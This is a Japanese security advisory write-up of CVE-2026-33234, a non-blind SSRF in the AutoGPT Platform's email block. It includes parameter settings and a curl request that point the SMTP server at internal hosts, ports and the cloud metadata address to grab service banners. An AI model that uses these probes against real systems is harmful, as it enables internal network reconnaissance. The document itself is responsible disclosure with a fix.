
CVE-2026-33234 | 中程度 5.0 | GHSA-4jwj-6mg5-wrwf 著者: Pavan Nallamothu
私はAutoGPT Platformでネットワークに触れるすべてのユーザー制御入力をマッピングしていました。HTTPレイヤーは厳重にロックされていました。プライベートIPレンジ(10.0.0.0/8、172.16.0.0/12、192.168.0.0/16)、ループバック、クラウドメタデータエンドポイント——すべてブロックリストに登録されていました。私は複数の角度からHTTPゲートを確認しました。何も通り抜けられませんでした。
その後、SendEmailBlockの設定スキーマを開きました。
SMTPサーバーフィールドは自由記述の入力でした。管理者資格情報ではありません。デプロイ時に一度設定されるロックダウンされた設定でもありません。認証されたユーザーなら誰でも好きな値を入力できるフィールドでした。コードパスを追跡すると、smtplib.SMTP()が生のTCPソケットを開くことがわかりました。その接続は、IPブロックリストが存在するHTTPパスを決して通過しません。プラットフォームには2つのアウトバウンドパスが存在しました。保護されていたのはそのうちの1つだけでした。
SMTPサーバーをlocalhost:22に向けました。
SSHバナーがエラーメッセージに返ってきました。は与えられたものに接続し、SMTPのグリーティングを読み取ろうとし、別のものが返ってくると、生のバイトをにラップします。その例外はAutoGPTの実行フレームワークを通じて伝播し、ブロック出力にきれいに表示されます。HTTPレイヤーに触れることなく、ターゲットのSSHバージョン文字列を確認できたのです。
smtplib220SMTPConnectErrorこれが興味深い点でした。smtplibは単なるメールクライアントではありません。構造化されたエラーレポートを備えたTCPバナーグラバーです。ポート6379に向けるとRedisのプロトコルシグネチャが得られます。閉じたポートに向けると、ConnectionRefusedErrorがホストは生存しているがポートがダウンしていることを教えてくれます。169.254.169.254:80に向けると、クラウドメタデータエンドポイントに到達可能であることを確認できます。各接続試行は異なる有益なエラーを返します。メールを送信するはずだった機能を通じた非ブラインドSSRFです。
SMTPConfigの設計が問題を悪化させています。セキュアなアーキテクチャでは、SMTPサーバーアドレスは管理者が管理する資格情報——一度設定され、ロックされ、ユーザーに公開されることはない——であるべきです。代わりに、これは実行ごとの入力です。認証されたすべてのユーザーが、プラットフォームがTCP接続を開く場所を制御できます。
# SendEmailBlockの設定 - SMTPサーバーを内部ターゲットに設定
# SSHをスキャン
smtp_server = "10.0.0.5"
smtp_port = 22
# エラーが明らかにする: "SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6"
# Redisをスキャン
smtp_server = "10.0.0.5"
smtp_port = 6379
# エラーが明らかにする: "-ERR unknown command ..."
# 閉じたポートをスキャン
smtp_server = "10.0.0.5"
smtp_port = 9999
# エラーが明らかにする: "ConnectionRefusedError" (ポートは閉じている、ホストは生存)
# クラウドメタデータにアクセス
smtp_server = "169.254.169.254"
smtp_port = 80
# メタデータエンドポイントの到達可能性を確認
ブロック実行APIを通じて完全なチェーンを検証しました:
# ブロック実行APIに対する同等の直接テスト
curl -X POST https://autogpt-platform/api/blocks/execute \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
-d '{
"block_id": "send_email_block",
"inputs": {
"smtp_server": "10.0.0.5",
"smtp_port": 22,
"to": "[email protected]",
"subject": "test",
"body": "test"
}
}'
# レスポンスにはSSHバナー付きのSMTPConnectErrorが含まれる
graph LR
A[攻撃者がSMTPサーバーを内部IPに設定] --> B[SendEmailBlockがsmtplib.SMTPを呼び出し]
B --> C[ターゲット:ポートへの生のTCP接続]
C --> D{サービスが応答?}
D -->|はい| E[バナーがSMTPグリーティングとして読み取られる]
E --> F[バナーデータ付きSMTPConnectError]
F --> G[エラーがブロック出力に伝播]
D -->|いいえ| H[ConnectionRefused = ポートは閉じている]
G --> I[攻撃者がサービスバージョンを読み取る]これが開く攻撃面は重大です。SSHバナーは正確なバージョン(OpenSSH_8.9p1 Ubuntu-3ubuntu0.6)を明らかにします。Redisはプロトコルシグネチャを漏洩させます。MySQLはバージョン文字列を送信します。各バナーはCVE検索の待ち合わせです。攻撃者は内部ネットワークをマッピングし、実行中のすべてのサービスとその正確なバージョンを特定し、最も脆弱なものを標的にします。すべて「SMTPサーバー」とラベル付けされたテキストフィールドからです。
これを生み出した3つの欠落したチェックがあります: SMTPパス上のIP検証なし、ポート制限なし、例外のサニタイズなし。プラットフォームは「送信メール」とラベル付けされたドアを除くすべてのアウトバウンドドアを保護していました。
私はこの問題をSignificant Gravitasに報告しました。彼らはアーキテクチャ上のギャップを即座に理解しました。
修正バージョン: autogpt-platform-backend 0.6.52(SMTPサーバー検証がブロックリスト適用に追加され、ポート制限が適用されました)